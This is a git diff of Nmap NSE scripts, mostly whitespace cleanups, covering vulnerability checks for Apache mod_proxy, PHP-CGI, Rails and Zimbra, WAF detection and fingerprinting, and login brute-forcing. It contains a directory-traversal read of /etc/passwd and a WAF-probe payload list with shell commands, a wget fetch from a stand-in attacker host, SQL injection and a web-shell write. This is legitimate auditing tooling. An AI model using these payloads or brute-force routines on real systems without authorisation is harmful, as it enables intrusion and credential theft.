shortport.http action = function(host, port) - + local vuln = { title = 'Apache mod_proxy Reverse Proxy Security Bypass', IDS = { CVE='CVE-2011-3368', OSVDB='76079'}, @@ -87,7 +87,7 @@ servers to remote users who send carefully crafted requests.]], stdnse.print_debug(1, "%s : got no answers from pipelined queries", SCRIPT_NAME) return "\n ERROR: Got no answers from pipelined queries" end - + -- going through the results of TEST 1 we could see -- * 200 OK @@ -104,7 +104,7 @@ servers to remote users who send carefully crafted requests.]], got_200_ok = true end end - + -- if we didn't get at least one 200 OK, the server is most like NOT vulnerable if ( not(got_200_ok) ) then vuln.state = vulns.STATE.NOT_VULN @@ -115,16 +115,16 @@ servers to remote users who send carefully crafted requests.]], stdnse.print_debug(1, "%s : test %d returned a %d", SCRIPT_NAME,i,bypass_request[i].status) -- here a 400 should be the evidence for a patched server. - if ( bypass_request[i].status == 200 and vuln.state ~= vulns.STATE.VULN ) then - - -- TEST 2: the internal hosts test. According to Contextis, we expect a delay before a server error. + if ( bypass_request[i].status == 200 and vuln.state ~= vulns.STATE.VULN ) then + + -- TEST 2: the internal hosts test. According to Contextis, we expect a delay before a server error. -- According to my (Patrik) tests, internal hosts reachable by the server may return instant responses - local tests = { + local tests = { { prefix = "", suffix = "" }, { prefix = ":", suffix = ""}, { prefix = ":", suffix = ":80"} } - + -- try a bunch of hosts, and hope we hit one thats -- not on the network, this will give us the delay we're expecting local hosts = { @@ -132,22 +132,22 @@ servers to remote users who send carefully crafted requests.]], "192.168.211.211", "172.16.16.16" } - + -- perform one request for each host, and stop once we -- receive a timeout for one of them for _, h in ipairs(hosts) do local response = http.get( - host, - port, + host, + port, ("%s%s@%s%s"):format(prefix, tests[i].prefix, h, tests[i].suffix), { timeout = ( chrono_404 + 5 ) * 1000 } ) - -- check if the GET timed out + -- check if the GET timed out if ( not(response.status) ) then vuln.state = vulns.STATE.VULN break end - end + end end end @@ -156,6 +156,6 @@ servers to remote users who send carefully crafted requests.]], if ( external.status == 200 and string.match(external.body,"Go ahead and ScanMe") ) then vuln.extra_info = "Proxy allows requests to external websites" end - return report:make_output(vuln) + return report:make_output(vuln) end diff --git a/scripts/http-vuln-cve2012-1823.nse b/scripts/http-vuln-cve2012-1823.nse index 8f0191b1a..d02109489 100644 --- a/scripts/http-vuln-cve2012-1823.nse +++ b/scripts/http-vuln-cve2012-1823.nse @@ -12,7 +12,7 @@ vulnerable installations. CHANGELOG: - Added new detection mechanism by trying to perform a "echo" command -- Added exploitation script that allows you to define your command (default: uname -a). +- Added exploitation script that allows you to define your command (default: uname -a). ]] --- @@ -22,7 +22,7 @@ CHANGELOG: -- @output -- PORT STATE SERVICE REASON -- 80/tcp open http syn-ack --- | http-vuln-cve2012-1823: +-- | http-vuln-cve2012-1823: -- | VULNERABLE: -- | PHP-CGI Remote code execution and source code disclosure -- | State: VULNERABLE (Exploitable) diff --git a/scripts/http-vuln-cve2013-0156.nse b/scripts/http-vuln-cve2013-0156.nse index 187e1a037..274ba3fd2 100644 --- a/scripts/http-vuln-cve2013-0156.nse +++ b/scripts/http-vuln-cve2013-0156.nse @@ -1,9 +1,9 @@ description = [[ Detects Ruby on Rails servers vulnerable to object injection, remote command executions and denial of service attacks. (CVE-2013-0156) -All Ruby on Rails versions before 2.3.15, 3.0.x before 3.0.19, 3.1.x before 3.1.10, and 3.2.x before 3.2.11 are vulnerable. This script -sends 3 harmless yaml payloads to detect vulnerable installations. If the malformed object receives a status 500 response, the server -is processing YAML objects and therefore is likely vulnerable. +All Ruby on Rails versions before 2.3.15, 3.0.x before 3.0.19, 3.1.x before 3.1.10, and 3.2.x before 3.2.11 are vulnerable. This script +sends 3 harmless yaml payloads to detect vulnerable installations. If the malformed object receives a status 500 response, the server +is processing YAML objects and therefore is likely vulnerable. References: * https://community.rapid7.com/community/metasploit/blog/2013/01/10/exploiting-ruby-on-rails-with-metasploit-cve-2013-0156', @@ -11,7 +11,7 @@ References: * http://cvedetails.com/cve/2013-0156/ TODO: -* Add argument to exploit cmd exec vuln +* Add argument to exploit cmd exec vuln ]] --- @@ -22,15 +22,15 @@ TODO: -- @output -- PORT STATE SERVICE REASON -- 80/tcp open http syn-ack --- | http-vuln-cve2013-0156: +-- | http-vuln-cve2013-0156: -- | VULNERABLE: -- | Parameter parsing vulnerabilities in several versions of Ruby on Rails allow object injection, remote command execution and Denial Of Service attacks (CVE-2013-0156) -- | State: VULNERABLE -- | Risk factor: High -- | Description: --- | All Ruby on Rails versions before 2.3.15, 3.0.x before 3.0.19, 3.1.x before 3.1.10, and 3.2.x before 3.2.11 are vulnerable to object injection, remote command execution and denial of service attacks. +-- | All Ruby on Rails versions before 2.3.15, 3.0.x before 3.0.19, 3.1.x before 3.1.10, and 3.2.x before 3.2.11 are vulnerable to object injection, remote command execution and denial of service attacks. -- | The attackers don't need to be authenticated to exploit these vulnerabilities. --- | +-- | -- | References: -- | https://groups.google.com/forum/?fromgroups=#!msg/rubyonrails-security/61bkgvnSGTQ/nehwjA8tQ8EJ -- | https://community.rapid7.com/community/metasploit/blog/2013/01/10/exploiting-ruby-on-rails-with-metasploit-cve-2013-0156 @@ -75,7 +75,7 @@ local PAYLOAD_MALFORMED = [=[ local function detect(host, port, uri) local opts = {header={}} opts["header"]["Content-type"] = 'application/xml' - + local req_ok = http.post(host, port, uri, opts, nil, PAYLOAD_OK) local req_time = http.post(host, port, uri, opts, nil, PAYLOAD_TIME) stdnse.print_debug(2, "%s:First request returned status %d. Second request returned status %d", SCRIPT_NAME, req_ok.status, req_time.status) @@ -99,7 +99,7 @@ action = function(host, port) state = vulns.STATE.NOT_VULN, risk_factor = "High", description = [[ -All Ruby on Rails versions before 2.3.15, 3.0.x before 3.0.19, 3.1.x before 3.1.10, and 3.2.x before 3.2.11 are vulnerable to object injection, remote command execution and denial of service attacks. +All Ruby on Rails versions before 2.3.15, 3.0.x before 3.0.19, 3.1.x before 3.1.10, and 3.2.x before 3.2.11 are vulnerable to object injection, remote command execution and denial of service attacks. The attackers don't need to be authenticated to exploit these vulnerabilities. ]], @@ -114,7 +114,7 @@ The attackers don't need to be authenticated to exploit these vulnerabilities. stdnse.print_debug(1, "%s:Received status 500 as expected in vulnerable installations. Marking as vulnerable...", SCRIPT_NAME) vuln_table.state = vulns.STATE.VULN local report = vulns.Report:new(SCRIPT_NAME, host, port) - return report:make_output(vuln_table) + return report:make_output(vuln_table) end return nil diff --git a/scripts/http-vuln-zimbra-lfi.nse b/scripts/http-vuln-zimbra-lfi.nse index 8a38964e8..31c061cef 100644 --- a/scripts/http-vuln-zimbra-lfi.nse +++ b/scripts/http-vuln-zimbra-lfi.nse @@ -3,19 +3,19 @@ local shortport = require "shortport" local stdnse = require "stdnse" local string = require "string" local vulns = require "vulns" - + description = [[ A 0 day was been released on the 6th december 2013 by rubina119, and was patched in Zimbra 7.2.6. - + The vulnerability is a local file inclusion that can retrieve any file from the server. - + Currently, we read /etc/passwd and /dev/null, and compare the lengths to determine vulnerability. - -TODO: + +TODO: Add the possibility to read compressed file. Then, send some payload to create the new mail account. ]] - + --- -- @usage -- nmap -sV --script http-vuln-0-day-lfi-zimbra @@ -23,21 +23,21 @@ Then, send some payload to create the new mail account. -- @output -- PORT STATE SERVICE REASON -- 80/tcp open http syn-ack --- | http-vuln-0-day-lfi-zimbra: +-- | http-vuln-0-day-lfi-zimbra: -- | VULNERABLE: -- | Zimbra Local File Inclusion and Disclosure of Credentials -- | State: VULNERABLE (Exploitable) -- | IDs: None, 0-day -- | Description: --- | A 0 day has been released on the 6th december 2013 by rubina119. --- | The vulnerability is a local file inclusion that can retrieve the credentials of the Zimbra installations etc. --- | Using this script, we can detect if the file is present. --- | If the file is present, we assume that the host might be vulnerable. --- | --- | In future version, we'll extract credentials from the file but it's not implemented yet and --- | the detection will be accurate. --- | --- | TODO: +-- | A 0 day has been released on the 6th december 2013 by rubina119. +-- | The vulnerability is a local file inclusion that can retrieve the credentials of the Zimbra installations etc. +-- | Using this script, we can detect if the file is present. +-- | If the file is present, we assume that the host might be vulnerable. +-- | +-- | In future version, we'll extract credentials from the file but it's not implemented yet and +-- | the detection will be accurate. +-- | +-- | TODO: -- | Add the possibility to read compressed file (because we're only looking if it exists) -- | Then, send some payload to create the new mail account -- | Disclosure date: 2013-06-12 @@ -48,19 +48,19 @@ Then, send some payload to create the new mail account. -- -- @args http-vuln-0-day-lfi-zimbra.uri URI. Default: /zimbra --- - + author = "Paul AMAR , Ron Bowes" license = "Same as Nmap--See http://nmap.org/book/man-legal.html" categories = {"exploit","vuln","intrusive"} - + portrule = shortport.http - + -- function to escape specific characters local escape = function(str) return string.gsub(str, "", "") end - + action = function(host, port) local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or "/zimbra" - + local vuln = { title = 'Zimbra Local File Inclusion (Gather admin credentials)', state = vulns.STATE.NOT_VULN, -- default @@ -71,7 +71,7 @@ which allows us to see any file on the filesystem, including config files that contain LDAP root credentials, allowing us to make requests in /service/admin/soap API with the stolen LDAP credentials to create user with administration privileges and gain access to the Administration Console. - + This issue was patched in Zimbra 7.2.6. ]], references = { @@ -82,21 +82,21 @@ This issue was patched in Zimbra 7.2.6. }, } local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port) - + local file_short = "../../../../../../../../../dev/null" local file_long = "../../../../../../../../../etc/passwd" --local file_long = "../../../../../../../../../opt/zimbra/conf/localconfig.xml" - + local url_short = "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx20TemplateMsg.js.zgz?v=091214175450&skin=" .. file_short .. "%00" local url_long = "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx20TemplateMsg.js.zgz?v=091214175450&skin=" .. file_long .. "%00" - + stdnse.print_debug(1, "Trying to detect if the server is vulnerable") - stdnse.print_debug(1, "GET " .. uri .. escape(url_short)) - stdnse.print_debug(1, "GET " .. uri .. escape(url_long)) - + stdnse.print_debug(1, "GET " .. uri .. escape(url_short)) + stdnse.print_debug(1, "GET " .. uri .. escape(url_long)) + local session_short = http.get(host, port, uri..url_short) local session_long = http.get(host, port, uri..url_long) - + if session_short and session_short.status == 200 and session_long and session_long.status == 200 then if session_short.header['content-type'] == "application/x-javascript" then -- Because .gz format is somewhat odd, giving a bit of a margin of error here diff --git a/scripts/http-waf-detect.nse b/scripts/http-waf-detect.nse index ed4ae3485..727815b77 100644 --- a/scripts/http-waf-detect.nse +++ b/scripts/http-waf-detect.nse @@ -7,9 +7,9 @@ local table = require "table" description = [[ Attempts to determine whether a web server is protected by an IPS (Intrusion Prevention System), IDS (Intrusion Detection System) or WAF (Web Application Firewall) by probing the web server with malicious payloads and detecting changes in the response code and body. -To do this the script will send a "good" request and record the response, afterwards it will match this response against new requests containing -malicious payloads. In theory, web applications shouldn't react to malicious requests because we are storing the payloads in a variable that is -not used by the script/file and only WAF/IDS/IPS should react to it. +To do this the script will send a "good" request and record the response, afterwards it will match this response against new requests containing +malicious payloads. In theory, web applications shouldn't react to malicious requests because we are storing the payloads in a variable that is +not used by the script/file and only WAF/IDS/IPS should react to it. If aggro mode is set, the script will try all attack vectors (More noisy) This script can detect numerous IDS, IPS, and WAF products since @@ -19,9 +19,9 @@ Results can vary based on product configuration, but this script has been tested to work against various configurations of the following products: - * Apache ModSecurity - * Barracuda Web Application Firewall - * PHPIDS + * Apache ModSecurity + * Barracuda Web Application Firewall + * PHPIDS * dotDefender * Imperva Web Firewall * Blue Coat SG 400 @@ -53,14 +53,14 @@ categories = {"discovery", "intrusive"} portrule = shortport.http -local attack_vectors_n1 = {"?p4yl04d=../../../../../../../../../../../../../../../../../etc/passwd", +local attack_vectors_n1 = {"?p4yl04d=../../../../../../../../../../../../../../../../../etc/passwd", "?p4yl04d2=1%20UNION%20ALL%20SELECT%201,2,3,table_name%20FROM%20information_schema.tables", "?p4yl04d3="} -local attack_vectors_n2 = {"?p4yl04d=cat%20/etc/shadow", "?p4yl04d=id;uname%20-a", "?p4yl04d=", - "?p4yl04d='%20OR%20'A'='A", "?p4yl04d=http://google.com", "?p4yl04d=http://evilsite.com/evilfile.php", - "?p4yl04d=cat%20/etc/passwd", "?p4yl04d=ping%20google.com", "?p4yl04d=hostname%00", - "?p4yl04d=", "?p4yl04d=wget%20http://ev1l.com/xpl01t.txt", +local attack_vectors_n2 = {"?p4yl04d=cat%20/etc/shadow", "?p4yl04d=id;uname%20-a", "?p4yl04d=", + "?p4yl04d='%20OR%20'A'='A", "?p4yl04d=http://google.com", "?p4yl04d=http://evilsite.com/evilfile.php", + "?p4yl04d=cat%20/etc/passwd", "?p4yl04d=ping%20google.com", "?p4yl04d=hostname%00", + "?p4yl04d=", "?p4yl04d=wget%20http://ev1l.com/xpl01t.txt", "?p4yl04d=UNION%20SELECT%20'',2,3%20INTO%20OUTFILE%20'/var/www/w3bsh3ll.php'--"} action = function(host, port) @@ -70,7 +70,7 @@ action = function(host, port) local use_body = stdnse.get_script_args(SCRIPT_NAME..".detectBodyChanges") or false --get original response from a "good" request - stdnse.print_debug(2, "%s: Requesting URI %s", SCRIPT_NAME, path) + stdnse.print_debug(2, "%s: Requesting URI %s", SCRIPT_NAME, path) orig_req = http.get(host, port, path) orig_req.body = http.clean_404(orig_req.body) if orig_req.status and orig_req.body then @@ -95,7 +95,7 @@ action = function(host, port) if test_results == nil then return "[ERROR] HTTP request table is empty. This should not ever happen because we at least made one request." - end + end --get results @@ -114,10 +114,10 @@ action = function(host, port) if res.status and res.body then stdnse.print_debug(3, "Status:%s Body:%s\n", res.status, res.body) end - waf_bool = true + waf_bool = true end end - + if waf_bool then return string.format("IDS/IPS/WAF detected:\n%s:%d%s%s", stdnse.get_hostname(host), port.number, path, payload_example) end diff --git a/scripts/http-waf-fingerprint.nse b/scripts/http-waf-fingerprint.nse index 05b2455b3..01adcc3c5 100644 --- a/scripts/http-waf-fingerprint.nse +++ b/scripts/http-waf-fingerprint.nse @@ -29,7 +29,7 @@ Credit to wafw00f and w3af for some fingerprints. --@output --PORT STATE SERVICE REASON --80/tcp open http syn-ack ---| http-waf-fingerprint: +--| http-waf-fingerprint: --| Detected WAF --|_ BinarySec version 3.2.2 @@ -69,19 +69,19 @@ bigip = { match = function(responses) for _, response in pairs(responses) do - + if response.header['x-cnection'] then stdnse.print_debug("%s BigIP detected through X-Cnection header.", SCRIPT_NAME) bigip.detected = true return end - - if response.header.server == 'BigIP' then -- + + if response.header.server == 'BigIP' then -- stdnse.print_debug("%s BigIP detected through Server header.", SCRIPT_NAME) bigip.detected = true return end - + for _, cookie in pairs(response.cookies) do -- if string.find(cookie.name, "BIGipServer") then stdnse.print_debug("%s BigIP detected through cookies.", SCRIPT_NAME) @@ -109,11 +109,11 @@ webknight = { match = function(responses) for name, response in pairs(responses) do - if response.header.server and string.find(response.header.server, 'WebKnight/') then -- + if response.header.server and string.find(response.header.server, 'WebKnight/') then -- stdnse.print_debug("%s WebKnight detected through Server Header.", SCRIPT_NAME) webknight.version = string.sub(response.header.server, 11) webknight.detected = true - return + return end if response.status == 999 then if not webknight.detected then stdnse.print_debug("%s WebKnight detected through 999 response status code.", SCRIPT_NAME) end @@ -133,7 +133,7 @@ isaserver = { -- TODO Check if version detection is possible -- based on the response reason reason = {"Forbidden %( The server denied the specified Uniform Resource Locator %(URL%). Contact the server administrator. %)", - "Forbidden %( The ISA Server denied the specified Uniform Resource Locator %(URL%)" + "Forbidden %( The ISA Server denied the specified Uniform Resource Locator %(URL%)" }, match = function(responses) @@ -167,7 +167,7 @@ airlock = { airlock.detected = true return end - if cookie.name == "AL_SESS" and (string.sub(cookie.value, 1, 5) == 'AAABL' + if cookie.name == "AL_SESS" and (string.sub(cookie.value, 1, 5) == 'AAABL' or string.sub(cookie.value, 1, 5) == 'LgEAA' )then stdnse.print_debug("%s Airlock detected through AL_SESS cookies.", SCRIPT_NAME) airlock.detected = true @@ -223,7 +223,7 @@ denyall = { end, } -local f5trafficshield +local f5trafficshield f5trafficshield = { name = "F5 Traffic Shield", detected = false, @@ -238,7 +238,7 @@ f5trafficshield = { f5trafficshield.detected = true return end - + for _, cookie in pairs(response.cookies) do if cookie.name == "ASINFO" then stdnse.print_debug("%s F5 Traffic Shield detected through cookies.", SCRIPT_NAME) @@ -252,9 +252,9 @@ f5trafficshield = { end, } -local teros +local teros teros = { - name = "Teros / Citrix Application Firewall Enterprise", -- CAF EX, according to citrix documentation + name = "Teros / Citrix Application Firewall Enterprise", -- CAF EX, according to citrix documentation detected = false, version = nil, @@ -273,7 +273,7 @@ teros = { end, } -local binarysec +local binarysec binarysec = { name = "BinarySec", detected = false, @@ -281,7 +281,7 @@ binarysec = { match = function(responses) for _, response in pairs(responses) do - if response.header.server and string.find(response.header.server, 'BinarySEC/') then -- + if response.header.server and string.find(response.header.server, 'BinarySEC/') then -- stdnse.print_debug("%s BinarySec detected through Server Header.", SCRIPT_NAME) binarysec.version = string.sub(response.header.server, 11) binarysec.detected = true @@ -334,18 +334,18 @@ netscaler = { -- TODO Check for other version detection possibilities -- based on fingerprint difference - if response.header.via and string.find(response.header.via, 'NS%-CACHE') then -- + if response.header.via and string.find(response.header.via, 'NS%-CACHE') then -- stdnse.print_debug("%s Citrix Netscaler detected through Via Header.", SCRIPT_NAME) netscaler.version = string.sub(response.header.via, 10, 12) netscaler.detected = true - return + return end if response.header.cneonction == "close" or response.header.nncoection == "close" then if not netscaler.detected then stdnse.print_debug("%s Netscaler detected through Cneoction/nnCoection header.", SCRIPT_NAME) end netscaler.detected = true end - + -- TODO Does X-CLIENT-IP apply to Citrix Application Firewall too ? if response.header['x-client-ip'] then if not netscaler.detected then stdnse.print_debug("%s Netscaler detected through X-CLIENT-IP header.", SCRIPT_NAME) end @@ -353,7 +353,7 @@ netscaler = { end for _, cookie in pairs(response.cookies) do - if cookie.name == "ns_af" or cookie.name == "citrix_ns_id" or + if cookie.name == "ns_af" or cookie.name == "citrix_ns_id" or string.find(cookie.name, "NSC_") then if not netscaler.detected then stdnse.print_debug("%s Netscaler detected through cookies.", SCRIPT_NAME) end netscaler.detected = true @@ -403,7 +403,7 @@ ibmdatapower = { end, } -local cloudflare +local cloudflare cloudflare = { name = "Cloudflare", detected = false, @@ -450,7 +450,7 @@ incapsula = { end, } -local uspses +local uspses uspses = { name = "USP Secure Entry Server", detected = false, @@ -490,7 +490,7 @@ ciscoacexml = { local modsecurity -modsecurity = { +modsecurity = { -- Credit to Brendan Coles name = "ModSecurity", detected = false, @@ -504,29 +504,29 @@ modsecurity = { modsecurity.version = string.sub(response.header.server, pos + 13, pos + 18) modsecurity.detected = true return - end + end if response.header.server and string.find(response.header.server, 'Mod_Security') then stdnse.print_debug("%s Modsecurity detected through Server Header.", SCRIPT_NAME) - modsecurity.version = string.sub(response.header.server, 13, -9) + modsecurity.version = string.sub(response.header.server, 13, -9) modsecurity.detected = true return - end + end -- The default SecServerSignature value is "NOYB" <= TODO For older versions, so we could -- probably do some version detection out of it. - if response.header.server == 'NOYB' then + if response.header.server == 'NOYB' then stdnse.print_debug("%s modsecurity detected through Server header.", SCRIPT_NAME) modsecurity.detected = true - end - end + end + end end, intensive = function(host, port, root, responses) end, } local naxsi -naxsi = { +naxsi = { name = "Naxsi", detected = false, version = nil, @@ -550,7 +550,7 @@ naxsi = { local wafs = { -- WAFs that are commented out don't have reliable fingerprints -- with no false positives yet. - + bigip = bigip, webknight = webknight, isaserver = isaserver, @@ -585,7 +585,7 @@ local wafs = { local send_requests = function(host, port, root) local requests, all, responses = {}, {}, {} - + local dirtraversal = "../../../etc/passwd" local cleanhtml = "hello" local xssstring = "" @@ -598,23 +598,23 @@ local send_requests = function(host, port, root) -- Normal inexisting all = http.pipeline_add(root .. "asofKlj", nil, all, "GET") table.insert(requests,"inexisting") - + -- Invalid Method all = http.pipeline_add(root, nil, all, "ASDE") table.insert(requests,"invalidmethod") - + -- Directory traversal all = http.pipeline_add(root .. "?parameter=" .. dirtraversal, nil, all, "GET") table.insert(requests,"invalidmethod") - + -- Invalid Host all = http.pipeline_add(root , {header= {Host = "somerandomsite.com"}}, all, "GET") table.insert(requests,"invalidhost") - + --Clean HTML encoded all = http.pipeline_add(root .. "?parameter=" .. cleanhtml , nil, all, "GET") table.insert(requests,"cleanhtml") - + --Clean HTML all = http.pipeline_add(root .. "?parameter=" .. url.escape(cleanhtml), nil, all, "GET") table.insert(requests,"cleanhtmlencoded") @@ -622,28 +622,28 @@ local send_requests = function(host, port, root) -- XSS all = http.pipeline_add(root .. "?parameter=" .. xssstring, nil, all, "GET") table.insert(requests,"xss") - + -- XSS encoded all = http.pipeline_add(root .. "?parameter=" .. url.escape(xssstring), nil, all, "GET") table.insert(requests,"xssencoded") - + -- cmdexe all = http.pipeline_add(root .. "?parameter=" .. cmdexe, nil, all, "GET") table.insert(requests,"cmdexe") - + -- send all requests local pipeline_responses = http.pipeline_go(host, port, all) if not pipeline_responses then stdnse.print_debug("%s No response from pipelined requests", SCRIPT_NAME) return nil end - + -- Associate responses with requests names for i, response in pairs(pipeline_responses) do - responses[requests[i]] = response - end - + responses[requests[i]] = response + end + return responses end diff --git a/scripts/http-wordpress-brute.nse b/scripts/http-wordpress-brute.nse index e6789b48d..5edd5b1c6 100644 --- a/scripts/http-wordpress-brute.nse +++ b/scripts/http-wordpress-brute.nse @@ -7,7 +7,7 @@ local stdnse = require "stdnse" description = [[ performs brute force password auditing against Wordpress CMS/blog installations. -This script uses the unpwdb and brute libraries to perform password guessing. Any successful guesses are +This script uses the unpwdb and brute libraries to perform password guessing. Any successful guesses are stored using the credentials library. Wordpress default uri and form names: @@ -92,7 +92,7 @@ Driver = { -- This redirect is taking us to /wp-admin if response.status == 302 then local c = creds.Credentials:new( SCRIPT_NAME, self.host, self.port ) - c:add(username, password, creds.State.VALID ) + c:add(username, password, creds.State.VALID ) return true, brute.Account:new( username, password, "OPEN") end diff --git a/scripts/http-wordpress-enum.nse b/scripts/http-wordpress-enum.nse index a35267a99..0cfe9b153 100644 --- a/scripts/http-wordpress-enum.nse +++ b/scripts/http-wordpress-enum.nse @@ -20,7 +20,7 @@ Original advisory: -- @output -- PORT STATE SERVICE REASON -- 80/tcp open http syn-ack --- | http-wordpress-enum: +-- | http-wordpress-enum: -- | Username found: admin -- | Username found: mauricio -- | Username found: cesar @@ -28,7 +28,7 @@ Original advisory: -- | Username found: alex -- | Username found: ricardo -- |_Search stopped at ID #25. Increase the upper limit if necessary with 'http-wordpress-enum.limit' --- +-- -- @args http-wordpress-enum.limit Upper limit for ID search. Default: 25 -- @args http-wordpress-enum.basepath Base path to Wordpress. Default: / -- @args http-wordpress-enum.out If set it saves the username list in this file. @@ -138,7 +138,7 @@ action = function(host, port) output[#output+1] = string.format("Error saving %s: %s\n", filewrite, err) end end - + if #output > 1 then output[#output+1] = string.format("Search stopped at ID #%s. Increase the upper limit if necessary with 'http-wordpress-enum.limit'", limit) return stdnse.strjoin("\n", output) diff --git a/scripts/http-xssed.nse b/scripts/http-xssed.nse index 7fe49ae3a..b9d37143c 100644 --- a/scripts/http-xssed.nse +++ b/scripts/http-xssed.nse @@ -1,19 +1,19 @@ description = [[ -This script searches the xssed.com database and outputs the result. +This script searches the xssed.com database and outputs the result. ]] --- -- @usage nmap -p80 --script http-xssed.nse --- +-- -- This script will search the xssed.com database and it will output any --- results. xssed.com is the largest online archive of XSS vulnerable +-- results. xssed.com is the largest online archive of XSS vulnerable -- websites. --- +-- -- PORT STATE SERVICE REASON -- 80/tcp open http syn-ack --- | http-xssed: +-- | http-xssed: -- | xssed.com found the following previously reported XSS vulnerabilities marked as unfixed: --- | +-- | -- | /redirect/links.aspx?page=http://xssed.com -- | -- | /derefer.php?url=http://xssed.com/ @@ -41,7 +41,7 @@ local XSSED_SEARCH = "/search?key=" local XSSED_FOUND = "XSS:" local XSSED_FIXED = " FIXED" local XSSED_MIRROR = "" -local XSSED_URL = "URL: ([^%s]+)" +local XSSED_URL = "URL: ([^%s]+)" action = function(host, port) @@ -54,7 +54,7 @@ action = function(host, port) mutex "lock" local response = http.get(XSSED_SITE, 80, target) - + if string.find(response.body, XSSED_FOUND) then fixed = {} unfixed = {} @@ -64,10 +64,10 @@ action = function(host, port) if string.find(mirror.body, XSSED_FIXED) then table.insert(fixed, "\t" .. v .. "\n") else - table.insert(unfixed, "\t" .. v .. "\n") + table.insert(unfixed, "\t" .. v .. "\n") end end - end + end end mutex "done" diff --git a/scripts/iax2-brute.nse b/scripts/iax2-brute.nse index d5087dbf1..4cccdd400 100644 --- a/scripts/iax2-brute.nse +++ b/scripts/iax2-brute.nse @@ -8,7 +8,7 @@ Performs brute force password auditing against the Asterisk IAX2 protocol. Guessing fails when a large number of attempts is made due to the maxcallnumber limit (default 2048). In case your getting "ERROR: Too many retries, aborted ..." after a while, this is most likely what's happening. In order to avoid this problem try: - - reducing the size of your dictionary + - reducing the size of your dictionary - use the brute delay option to introduce a delay between guesses - split the guessing up in chunks and wait for a while between them ]] @@ -20,7 +20,7 @@ In order to avoid this problem try: -- @output -- PORT STATE SERVICE -- 4569/udp open|filtered unknown --- | iax2-brute: +-- | iax2-brute: -- | Accounts -- | 1002:password12 - Valid credentials -- | Statistics @@ -36,19 +36,19 @@ categories = {"intrusive", "brute"} portrule = shortport.port_or_service(4569, "iax2", {"udp", "tcp"}) Driver = { - + new = function(self, host, port) local o = { host = host, port = port } setmetatable(o, self) self.__index = self return o end, - + connect = function(self) self.helper = iax2.Helper:new(self.host, self.port) return self.helper:connect() end, - + login = function(self, username, password) local status, resp = self.helper:regRelease(username, password) if ( status ) then @@ -61,7 +61,7 @@ Driver = { return false, err end end, - + disconnect = function(self) return self.helper:close() end, } diff --git a/scripts/iax2-version.nse b/scripts/iax2-version.nse index f49a73ea7..06fde1a06 100644 --- a/scripts/iax2-version.nse +++ b/scripts/iax2-version.nse @@ -26,7 +26,7 @@ portrule = shortport.version_port_or_service(4569, nil, "udp") action = function(host, port) -- see http://www.cornfed.com/iax.pdf for all options. local poke = string.char(0x80, 0x00, 0x00, 0x00) - poke = poke .. string.char(0x00, 0x00, 0x00, 0x00) + poke = poke .. string.char(0x00, 0x00, 0x00, 0x00) poke = poke .. string.char(0x00, 0x00, 0x06, 0x1e) local status, recv = comm.exchange(host, port, poke, {proto=port.protocol,timeout=10000}) @@ -42,7 +42,7 @@ action = function(host, port) -- byte11 must be \x06 IAX Control Frame -- and byte12 must be \x03 or \x04 if ((byte11 == "06") and - (byte12 == ("03" or "04"))) + (byte12 == ("03" or "04"))) then nmap.set_port_state(host, port, "open") port.version.name = "iax2" diff --git a/scripts/icap-info.nse b/scripts/icap-info.nse index dd01fa2d6..885f0be0f 100644 --- a/scripts/icap-info.nse +++ b/scripts/icap-info.nse @@ -17,7 +17,7 @@ content filtering and antivirus scanning. -- @output -- PORT STATE SERVICE -- 1344/tcp open unknown --- | icap-info: +-- | icap-info: -- | /avscan -- | Service: C-ICAP/0.1.6 server - Clamav/Antivirus service -- | ISTag: CI0001-000-0973-6314940 @@ -46,7 +46,7 @@ local function parseResponse(resp) if ( not(resp) ) then return end - + local resp_p = { header = {}, rawheader = {} } local resp_tbl = stdnse.strsplit("\r?\n", resp) @@ -57,7 +57,7 @@ local function parseResponse(resp) resp_p.status = tonumber(resp_tbl[1]:match("^ICAP/1%.0 (%d*) .*$")) resp_p['status-line'] = resp_tbl[1] - + for i=2, #resp_tbl do local key, val = resp_tbl[i]:match("^([^:]*):%s*(.*)$") if ( not(key) or not(val) ) then @@ -71,7 +71,7 @@ local function parseResponse(resp) end action = function(host, port) - + local services = {"/avscan", "/echo", "/srv_clamav", "/url_check", "/nmap" } local headers = {"Service", "ISTag"} local probe = { @@ -82,21 +82,21 @@ action = function(host, port) } local hostname = stdnse.get_hostname(host) local result = {} - + for _, service in ipairs(services) do local socket = nmap.new_socket() socket:set_timeout(5000) if ( not(socket:connect(host, port)) ) then return fail("Failed to connect to server") end - + local request = (stdnse.strjoin("\r\n", probe) .. "\r\n\r\n"):format(hostname, service, hostname) - + if ( not(socket:send(request)) ) then socket:close() return fail("Failed to send request to server") end - + local status, resp = socket:receive_buf("\r\n\r\n", false) if ( not(status) ) then return fail("Failed to receive response from server") diff --git a/scripts/ike-version.nse b/scripts/ike-version.nse index 73b3eac70..93af5b60f 100644 --- a/scripts/ike-version.nse +++ b/scripts/ike-version.nse @@ -27,10 +27,10 @@ categories = {"default", "discovery", "safe", "version"} portrule = shortport.port_or_service(500, "isakmp", "udp") --- Test different methods for getting version --- +-- Test different methods for getting version +-- local function get_version(host, port) - local packet, version, t + local packet, version, t local auth = {"psk", "rsa", "Hybrid", "XAUTH"} local encryption = {"des", "3des", "aes/128", "aes/192", "aes/256"} local hash = {"md5", "sha1"} diff --git a/scripts/imap-brute.nse b/scripts/imap-brute.nse index dd8f232c5..436260a20 100644 --- a/scripts/imap-brute.nse +++ b/scripts/imap-brute.nse @@ -16,7 +16,7 @@ Performs brute force password auditing against IMAP servers using either LOGIN, -- @output -- PORT STATE SERVICE REASON -- 143/tcp open imap syn-ack --- | imap-brute: +-- | imap-brute: -- | Accounts -- | braddock:jules - Valid credentials -- | lane:sniper - Valid credentials @@ -24,7 +24,7 @@ Performs brute force password auditing against IMAP servers using either LOGIN, -- | Statistics -- |_ Performed 62 guesses in 10 seconds, average tps: 6 -- --- @args imap-brute.auth authentication mechanism to use LOGIN, PLAIN, +-- @args imap-brute.auth authentication mechanism to use LOGIN, PLAIN, -- CRAM-MD5, DIGEST-MD5 or NTLM -- Version 0.1 @@ -43,7 +43,7 @@ local mech -- for each attempt. ConnectionPool = {} -Driver = +Driver = { -- Creates a new driver instance @@ -56,7 +56,7 @@ Driver = self.__index = self return o end, - 